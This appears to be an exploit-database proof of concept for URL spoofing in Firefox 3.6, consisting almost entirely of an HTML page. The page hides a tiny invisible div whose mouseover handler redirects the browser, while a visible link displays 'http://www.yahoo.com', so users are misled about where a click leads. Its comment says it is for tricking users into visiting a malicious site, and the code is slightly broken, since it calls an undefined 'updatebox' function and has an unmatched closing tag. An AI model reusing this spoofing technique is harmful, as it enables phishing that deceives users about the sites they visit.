Mozilla Firefox 3.6 – URL Spoofing

# Tested on: Windows XP SP2/3

# Code :

# You can trick a user into accessing a malicious website by using

the following exploit

# The first link would be the malicious one.

<html>

<body>

<div id="mydiv"

onmouseover="document.location='http://www.youtube.com/watch?v=oHg5S

JYRHA0';"

style="position:absolute;width:2px;height:2px;background:#FFFFFF;bor

der:0px"></div>

<br>

<a href="http://www.yahoo.com" onclick="updatebox(event)"><font

style="font-family:arial;font-

size:32px">http://www.yahoo.com</font></a><br>

</div>

</body>

</html>